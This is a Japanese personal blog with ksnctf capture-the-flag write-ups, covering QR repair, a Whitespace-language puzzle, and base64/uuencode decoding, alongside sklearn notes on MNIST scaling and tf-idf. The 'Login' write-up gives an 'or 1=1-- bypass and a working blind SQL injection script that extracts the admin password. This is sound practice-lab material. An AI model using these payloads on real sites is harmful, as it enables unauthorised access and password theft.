さえめろ の めも🐰

さえめろの備忘録です。twitter : @sae_mero_

ksnctf C92 #E1 「Mysterious Light」

お久しぶりです。
イギリスでインターンの機会をいただき、先日無事日本に帰って来ましたのでまた更新を再開しようと思います。

今回は2017年夏に開催されていた ksnctf C92 のwrite-upです。

全ての設問に対して表・裏が用意されており、表面を全答すると裏面が現れるという仕組みです。


問題【表】

f:id:saemero:20180131111653p:plain

QRコードに関する問題です。


解答までの道

向き読み取りの部分が煙で隠されています。
自分で補修してあげます。

⬇︎こんな感じ⬇︎
f:id:saemero:20180131113154p:plain

読み取ったらflagゲット。


問題【裏】

f:id:saemero:20180131113328p:plain


解答までの道

隠されている部分は誤り訂正レベルやマスクなどのQRコードのフォーマット情報が書かれている部分です。
QRの仕様についてはこちらが詳しく、参考にしました。

肉眼でも読める!QRコード入門 | quizknock

あとはQRを復号します。
QR decoder」とかでググるstrong-qr-decoder という超強力そうなデコーダーが出てくるのでそちらを使います。

strong-qr-decoderはQRコードを.txtデータで読み込むため、まずは問題のQRコードをテキスト化。

from PIL import Image

img = Image.open('flag2.png')

qr = ""

for y in range(177):
    for x in range(177):
        r,g,b = img.getpixel((x*8+36,y*8+36))
        if r < 255/2:
            qr += "#"
        else:
            qr += " "
        
    qr += "\n"

f = open('flag.txt', 'w')
f.write(qr)
f.close()

これで問題のQRコードをテキストファイルとして出力できます。

これをパラメータを変えながらstrong-qr-decoderに与えることで、flag(1237文字!)が出て来ます。
成功したのは誤り訂正レベル2、マスクパターン3の場合でした。

ksnctf #7「Programming」

問題

ksnctf - 7 Programming



解答までの道

前回に引き続き、ちょっとポイント高めの問題。
.cppファイルが置いてあります。

#include   	 	<stdio.h>    
	
     	#include  	  <string.h>	
	
  int   	  	main		 
	()
   {   	const		char 	* 
s	=
 "     	    " 
"0123456789"	
"     "
	
"		   "
"			         							  				 			 "    	  
	 "ABCDEFGHIJ" 	;
	 printf	(
   	  "%c"	,		strlen 
(s)	
 );  int  i	  =	020000000	+	001000000	+
000600000	
  +000040000
+000007000
+000000500
+000000020
+000000002  	;
   	  	printf		(	
	"%s"
     	,&  	 i		
	)
;        	 	 
	long
    long 
			   							  				 		 	 					 l
	  =	 
 	
  2LL   		 
	    *
 	11LL
     	 		
	  	 *
 	229LL
     		 
	    *
 	614741LL
     		   
	    *
 	9576751LL
     		 	 
	  	 +
 	5LL
     	 	   
	    
 	;
     		  	
	  	 
 	printf
     	  	  (
	  "%s"  
 	
     	    ,	 
	  	 
 	
    & 	    
	    
 	
     		l	 
	    
 	
    ) 			 
	    
 	
     		 		;
	  	 
 	
    float 	 	
	    
 	
     	f		 =	
	    
 	
     1.0962664770776731080774868826855754386638240000e-38f	  
	  	 
 	
     ;	  
	    
 	
     printf(		"%s"	  
	  	 
 	
     	 ,		 
	    &f
 )	
    ; 	   	 
	double  	 
 	
d     		 			=
	6.7386412564254706622868098890859398199406890000e-308  	 
 ;	
  printf
("%s"
,&d);
}


うわっ汚い。
中身も普通のC++っぽいことが書かれていますが、なんかめちゃめちゃ崩れてる…。
とりあえず普通にC++としてコンパイル

$ gcc q7.cpp  
$ ./a.out  

FROG_This_is_wrong_:(

いじわる〜〜〜〜
当然うまくいくはずもありませんでした。
整形してもダメ、コンパイル方法をいろいろ変えて見てもダメ…頭を悩ませ最終的にグーグル先生行きになりました。


どうやらこれはC++ではなく、Whitespace(参考:Whitespace - Wikipedia)という言語らしい。
空白とTabで記述を行うようです。
そしてC++のように見えた中身はすべてコメント扱いになっているらしい…知らなかった…。

インタプリタがあるっぽいので検索。
「Whitespace インタプリタ」とかで検索すると、一番上にJSに変換してくれるサイトがありました。

Whitespace Interpreter written in JavaScript
ここです。

convertしてみるとこんな感じのJSのコードが出てきました。

(function (stack, heap, callStack, main, buf) {

  (main = function (label, end) { do switch(label) {

    case 0:

      stack.push(80);
      WS2JS.putc(stack.pop());
      stack.push(73);
      WS2JS.putc(stack.pop());
      stack.push(78);
      WS2JS.putc(stack.pop());
      stack.push(58);
      WS2JS.putc(stack.pop());
      stack.push(32);
      WS2JS.putc(stack.pop());
      stack.push(0);
      WS2JS.getn(function (n) { heap[stack.pop()] = n; main(14);}); label = 2; break; case 14:
      stack.push(0);
      stack.push(heap[stack.pop()]);
      stack.push(33355524);
      stack.push(-stack.pop() + stack.pop());
      if (!stack.pop()) { label = '1'; break;}
      stack.push(78);
      WS2JS.putc(stack.pop());
      stack.push(79);
      WS2JS.putc(stack.pop());
      label = 1; break;

    case '1':

      stack.push(79);
      WS2JS.putc(stack.pop());
      stack.push(75);
      WS2JS.putc(stack.pop());
      stack.push(10);
      WS2JS.putc(stack.pop());
      stack.push(0);
      stack.push(heap[stack.pop()]);
      stack.push(33355454);
      stack.push(-stack.pop() + stack.pop());
      stack.push(stack[stack.length - 1]);
      WS2JS.putc(stack.pop());
      stack.push(6);
      stack.push(stack.pop() + stack.pop());
      stack.push(stack[stack.length - 1]);
      WS2JS.putc(stack.pop());
      stack.push(11);
      stack.push(-stack.pop() + stack.pop());
      stack.push(stack[stack.length - 1]);
      WS2JS.putc(stack.pop());
      stack.push(6);
      stack.push(stack.pop() + stack.pop());
      stack.push(stack[stack.length - 1]);
      WS2JS.putc(stack.pop());
      stack.push(24);
      stack.push(stack.pop() + stack.pop());
      stack.push(stack[stack.length - 1]);
      WS2JS.putc(stack.pop());
      stack.push(26);
      stack.push(-stack.pop() + stack.pop());
      stack.push(stack[stack.length - 1]);
      WS2JS.putc(stack.pop());
      stack.push(40);
      stack.push(stack.pop() + stack.pop());
      stack.push(stack[stack.length - 1]);
      WS2JS.putc(stack.pop());
      stack.push(25);
      stack.push(-stack.pop() + stack.pop());
      stack.push(stack[stack.length - 1]);
      WS2JS.putc(stack.pop());
      stack.push(36);
      stack.push(stack.pop() + stack.pop());
      stack.push(stack[stack.length - 1]);
      WS2JS.putc(stack.pop());
      stack.push(66);
      stack.push(-stack.pop() + stack.pop());
      stack.push(stack[stack.length - 1]);
      WS2JS.putc(stack.pop());
      stack.push(16);
      stack.push(stack.pop() + stack.pop());
      stack.push(stack[stack.length - 1]);
      WS2JS.putc(stack.pop());
      stack.push(14);
      stack.push(stack.pop() + stack.pop());
      stack.push(stack[stack.length - 1]);
      WS2JS.putc(stack.pop());
      stack.push(14);
      stack.push(stack.pop() + stack.pop());
      stack.push(stack[stack.length - 1]);
      WS2JS.putc(stack.pop());
      stack.push(27);
      stack.push(-stack.pop() + stack.pop());
      stack.push(stack[stack.length - 1]);
      WS2JS.putc(stack.pop());
      stack.push(5);
      stack.push(stack.pop() + stack.pop());
      stack.push(stack[stack.length - 1]);
      WS2JS.putc(stack.pop());
      stack.push(29);
      stack.push(stack.pop() + stack.pop());
      stack.push(stack[stack.length - 1]);
      WS2JS.putc(stack.pop());
      stack.push(4);
      stack.push(-stack.pop() + stack.pop());
      stack.push(stack[stack.length - 1]);
      WS2JS.putc(stack.pop());
      stack.push(4);
      stack.push(stack.pop() + stack.pop());
      stack.push(stack[stack.length - 1]);
      WS2JS.putc(stack.pop());
      stack.push(28);
      stack.push(-stack.pop() + stack.pop());
      stack.push(stack[stack.length - 1]);
      WS2JS.putc(stack.pop());
      stack.push(22);
      stack.push(stack.pop() + stack.pop());
      stack.push(stack[stack.length - 1]);
      WS2JS.putc(stack.pop());
      stack.push(34);
      stack.push(-stack.pop() + stack.pop());
      stack.push(stack[stack.length - 1]);
      WS2JS.putc(stack.pop());
      stack.push(55);
      stack.push(-stack.pop() + stack.pop());
      stack.push(stack[stack.length - 1]);
      WS2JS.putc(stack.pop());
      label = 1; break;

    case 1:

      WS2JS.onExit();

    case 2:

      end = 1; break;

  default: throw new Error('Invalid label :' + label);} while (!end);})(0);

})([], {}, []);

実行するとPINコードを聞かれるので、入れたら多分フラグが出てくるのかな?
そしてJSのコードをみるとPIN絶対これっぽいな…?みたいなのがいるので、入力してみたら通ってしまいました。

フラグゲットです。



今回は種となるところを検索に頼ってしまい、自力の部分がほとんどありませんでした。
知らないと解く手がかりが見出しにくい問題に太刀打ちができないので、もっと知識をつけないとな〜と思います。

難解言語楽しそうなのでちょっと調べて遊んでみたい。



使ったものなど

・Whitespace
Whitespace - Wikipedia
・WS2JS convert Whitespace to JavaScript
Whitespace Interpreter written in JavaScript

ksnctf #6「Login」

問題

ksnctf - 6 Login



解答までの道

記載のURLに飛ぶと、ログインフォームのようなページがあります。
First, login as "admin". とのことなので、IDはadminでpassを探し出せば良さそう。

まずは適当にログインを試みるも、Login Failedと言われました。


ちょうど先々週(くらいだったと思う)の授業でSQL インジェクションをやったばかりのタイムリーさだったので、passに「'or 1=1--」を入力。

あっさり通った…!


と思いきや、

Congratulations!
It's too easy?
Don't worry.
The flag is admin's password.

というメッセージとともにヒントとしてPHPのコードがずらり…。

どうやら認証を通っただけではダメで、ここからが戦いのようです。
そして使用するのがこれまたタイムリーなブラインドSQLインジェクションというもの。

ただデータベースの知識が怪しいせいで、結果総当たりで探索しました。地道。

FLAG_まではほぼ確定と言っていいので、6文字目から21文字目までを

' OR substr((SELECT pass FROM user WHERE id='admin'),xxx,1) = 'a'--

で探索します。

import requests
 
url = "http://ctfq.sweetduet.info:10080/~q6/"

flag = ""
chara = list(map(chr, range(48, 123)))
 
for n in range(6,22):
    for c in chara:
        p = "' OR substr((SELECT pass FROM user WHERE id='admin'),{0},1) = '{1}'--".format(n,c)
        req = {"id":"admin","pass":p}
        res = requests.post(url, data = req)
        
        if "Congratulations" in res.text:
            flag += c
            break

print("FLAG_{}".format(flag))

これで無事Flagが出ます。

出るには出るんですが、なんで21文字(flagの文字数)を手動設定してるの??っていうコードですね。
これは自動化してflag=1文字の場合から探索するより、大体のフラグの文字数を予測して何回か回した方が早いんじゃないか、というズボラなあてずっぽうによるもので、本当に全然スマートじゃないです。

しかも勘が一発で当たってしまったので、コードはそのままです。

なにはともあれflagゲット…


使ったものなど

SQLインジェクション
SQLインジェクション - Wikipedia

MNISTのスケーリングは255.0で割らないほうがいいらしい

MNIST

今回の事件の舞台。
多分この記事を読んでいる方はMNISTについての説明なんていらないとは思うのですが、一応ざっくりとだけ説明。

MNISTは、0〜9までの手書き文字の画像からなるデータセットです。
そしてそれぞれの画像に対し、そこに書かれている数字をラベルとして持っています。

sklearnではfrom sklearn.datasets import fetch_mldata で使えるようになります。
(今回もsklearnを使用して分類しています)

画像は28px × 28px のモノクロデータであり、各ピクセルが0~255の値を持ちます。
これを784(=28*28)のベクトルとして考え、分類します。


MNISTのスケーリング

今回はSVMを使用しました。
SVMはチューニングが大切な分類器ですが、とりあえずデフォルトで何もせずに分類させるとこうなった。

from sklearn.utils import shuffle
from sklearn.datasets import fetch_mldata
from sklearn.metrics import f1_score
from sklearn.cross_validation import train_test_split
from sklearn import svm
from sklearn.svm import SVC
import numpy as np


mnist = fetch_mldata('MNIST original')
mnist_X,mnist_y = shuffle(mnist.data.astype('float32'),
                         mnist.target.astype('int32'),
                         random_state = 42)

train_X,test_X,train_y,test_y = train_test_split(mnist_X,mnist_y,
                                                test_size = 0.2,
                                                random_state = 43)


# 全部やると重いのでデータを10000に制限しました
clf = svm.SVC()
clf = clf.fit(train_X[:10000],train_y[:10000])

pred_y = clf.predict(test_X[:100])
f1_score(test_y[:len(pred_y[:100])], pred_y, average='macro')


これで精度は約1.8%。
生ゴミのようなものが出来上がりました。

それもそのはずで、MNISTの0〜255の数値では範囲が広すぎて、SVMによる座標上の自然な分割が行われません。

なのでmnist_Xをもっと小さい範囲にスケーリングしてから訓練させることで、劇的に精度が上がります。
そして0〜1の範囲にスケーリングするために、mnist_Xを255.0で除算するのが一般的なようです。

試しに

mnist_X = mnist_X / 255.0

を追加することで、精度は約91.5%まで上がります。劇的。

で、ここまではまあ理解のできる話です。


謎のスケーリング

先ほど mnist_X /= 255.0 と追加し、その前にも255.0で割るのが一般的などと書きました。
が、どうやらそれは最適ではないらしい。
SVMの精度を上げるためにグリッドサーチなどで戦っていたのですが、mnist_Xに対するスケーリングを

mnist_X = mnist_X / 100.0

と何気なく少なくしてみたところ、精度が95%まで上昇しました。
その差4%。でかい。

その後しばらく検証してみたところ、trainとtestがどういうわけかたであってもほぼ確実に(random_stateを0~100まで変更した限りでは100%)精度が向上する結果となりました。

より平均的な精度の高くなる数字は検証はしていませんが、100くらいで割ると精度が上がると言えます。
ちなみに半数の127.5では2%くらいの伸びでした。

多分SVMさんがとても分けやすいように並ぶのかな〜とは思うのですが、何しろ数値だけの上昇であり根拠がわかりません。あとものすごい検証不足です。
どなたかこんな感じじゃないかな〜とかでもいいので、わかる方いらっしゃいましたらご教授くださると幸いです。



追記

ちなみに、現在MLP(これはsklearnではなく手打ちです)でもMNISTを分類していますが、これもやっぱり100くらいで割ると精度が高いです。

【sklearn】tf-idfを用いたテキスト分類

現在機械学習のお勉強をさせて頂いている企業さんから、sklernを使ったテキスト処理の課題を受けました。
ちょうど良かったので、tf-idfのおさらいをざっくりとしようと思います。

なお、今回のモデルはsklearnの公式チュートリアルWorking With Text Data — scikit-learn 0.18.2 documentation:原文英語
)を大いに参考にしました。


今回使用するデータセットは20newsgroupsです。

20newsgroupsは、多数のテキストデータに対し、その文書のテーマ(ラベル)を持つデータセットです。
今回は未知の文書データに対して、指定された5つのラベルの中からふさわしいテーマを選ぶ多クラス分類を行いました。(本来は20のラベルがあります)



✔︎やったこと

今回は重み付けにtf-idfを使用しました。

tf-idfは、

tf = Term Frequency(単語の出現頻度)
idf = Inverse Document Frequency(逆文書頻)

の2つの指標を利用する、単語の重み付けの一種です。


tf   

{\displaystyle \mathrm {tf(i,j)} ={\frac {n_{i,j}}{\sum _{k}n_{k,j}}}}


{\displaystyle n_{i,j}}   …単語{\displaystyle i}の文書{\displaystyle n}における出現回数
{\displaystyle {\sum _{k}n_{k,j}}}   …文書{\displaystyle n}のすべての単語の出現回数の和


idf   

{\displaystyle \mathrm {idf(i)} =\log {\frac {|D|}{|\{d:d\ni t_{i}\}|}}}


{\displaystyle |D|}   …総文書数
{\displaystyle |\{d:d\ni t_{i}\}|}は単語{\displaystyle i}   …出現する文書の数


tf-idf   

{\displaystyle \mathrm {tfidf(i,j)} =\mathrm {tf(i,j)} \cdot \mathrm {idf(i)} }


これをまとめると、

tfは「ある単語の文書内での出現頻度」
idfは「ある単語がいくつの文書で使われているか」

となります。

つまりたくさん出てくる単語は重要(tf)かつ、たくさんの文書に共通する言葉は重要ではない(idf)という指標になっています。
めちゃめちゃ出る単語はtfは高いがidfは低く、めちゃめちゃ出ない単語はtfは低いがidfは高いということです。

ちなみにidfでlogを使用するのは、単語ごとの重みの差を縮めるスケーリングをするためです。



tf-idfはsklearnに用意されているので、20newsgroupsの読み込みから重み付けまでを記述します。

from sklearn.datasets import fetch_20newsgroups
from sklearn.feature_extraction.text import CountVectorizer
from sklearn.feature_extraction.text import TfidfTransformer
import numpy as np

categories = ['alt.atheism', 'soc.religion.christian','comp.graphics', 'sci.med', 'rec.sport.baseball']

all_data= fetch_20newsgroups(shuffle=True, categories=categories, random_state=42)


# tfidfによる重み付け
count_vect = CountVectorizer()
X_train_counts = count_vect.fit_transform(all_data.data)

tfidf_transformer = TfidfTransformer()
X_train_tfidf = tfidf_transformer.fit_transform(X_train_counts)

X_train_tfidf.toarray()

all_X = X_train_tfidf
all_y = all_data.target


これで重み付けができました。


これをsklearnのSVM分類器で分類すると、

from sklearn.cross_validation import train_test_split
from sklearn.metrics import f1_score
from sklearn import svm
from sklearn.svm import SVC

train_X, test_X, train_y, test_y = train_test_split(all_X, all_y,
                                                    test_size=0.2,
                                                    random_state=42)


clf2 = svm.SVC(kernel='rbf', C=5, gamma=0.2)
clf2.fit(train_X,train_y)
pred_y2 = clf2.predict(test_X)
print(f1_score(test_y, pred_y2, average='macro'))


こんな感じ。

出力は0.970124386976と、約97%という高い精度になりました。

from sklearn.metrics import confusion_matrix
print(confusion_matrix(test_y, pred_y2))

で見てみると、

[[ 80   0   2   1   2]
 [  0 114   0   0   0]
 [  0   3 123   0   0]
 [  0   3   2 117   0]
 [  0   4   0   0 120]]


という出力に。
どうやら、「クリスチャンの社会」という話題に分類するための特徴づけが弱そうです。


✔︎わかったこと

一概に全てに適応出来るとは言えませんが、tf-idfは(sklearnを使用した場合)簡単かつ強力な重み付けをしてくれることがわかりました。
今回の場合もSVMと組み合わせるだけで、グリッドサーチをしない状態でもとても高い精度になりました。

ちなみに他の分類器はrandom forest、決定木、ナイーブベイズ、k近傍法(いずれもsklearnのモジュールを使用)を試行しましたが、SVMが一番高い精度を出しました。

numpy計算覚え書き

たまに忘れちゃうので、よく使うものをまとめました。
とりあえずのものなので、また増えるかも。


✔︎ベクトル

import numpy as np

# ベクトルa,bの生成
a = np.array([1,2,3]) 
b = np.array([2,1,1])
# ノルム(ベクトルの長さ)
np.linalg.norm(a)
np.linalg.norm(b)
# ベクトルの正規化
a / np.linalg.norm(a)
b / np.linalg.norm(b)
# 加算
a+b

# 減算
a-b
# 内積
np.dot(a,b)

# 外積
np.cross(a,b)

✔︎行列

import numpy as np

# 行列aの生成
a = np.array([[1,2],[3,4]]) 
# 逆行列
numpy.linalg.inv(a)
# 行列式
np.linalg.det(a)

# ランク
np.linalg.matrix_rank(a)
# 行列の転置
a.T
# 行列の要素を全て0に
a.fill(0)

ksnctf #5「Onion」

問題

ksnctf - 5 Onion



解答までの道

なんかブワーッと書いてある…。
攻撃を仕掛けてフラグを盗む!のような前問とは違い、この問題は暗号系みたいですね。

とは言っても暗号の法則はわからないので、まずはタイトルから推測してみました。
ググると一発でTorなるものを発見。

略さずに書くとThe Onion Routerでまさにオニオン。

でもあれ…これなんか違うな…?
おそらくこの問題はデコードしていけば答えが見つかるんじゃないか式のもので、TCP/IPではなさそう…。


結局デコード系問題頻出のbase64で試行錯誤をすることに。
1回デコードして見た感じ、1回でなんとかなりそうにもないので、pythonでデコードを繰り返すコードを書きました。

import base64

def decode(x):
    txt = "Vm0wd2QyUXlVWGxWV0d4V1Y---(略)---"
    for i in range(x):
        txt = base64.urlsafe_b64decode(txt)
    
    return txt

print(decode(1))

数値を増やして調べていったところ、x = 16 の時に出力が

begin 666 <data>
51DQ!1U]&94QG4#-3:4%797I74$AU

end

になりました。
多分ビンゴだ〜。

それまでの出力に比べていかにも怪しそうなので、begin 666でググってみるとuuencodeというものがヒット。
Unix to Unix ENCODE」の略で、バイナリデータをテキストデータに変換するらしい。

uudecodeというコマンドの使用でデコードできるっぽいので、先ほど出力された文をtxtファイルで保存してターミナルで実行。
txtファイル名はq5.txtです。

$ uudecode q5.txt
uudecode: q5.txt: <data>: character out of range: [33-96]

うまくいっていれば、同じディレクトリに新しいファイルが出来ます。

中身を見てみると無事flagがゲットできていました!




使ったものなど

uuencode
uuencode - Wikipedia
base64
Base64 - Wikipedia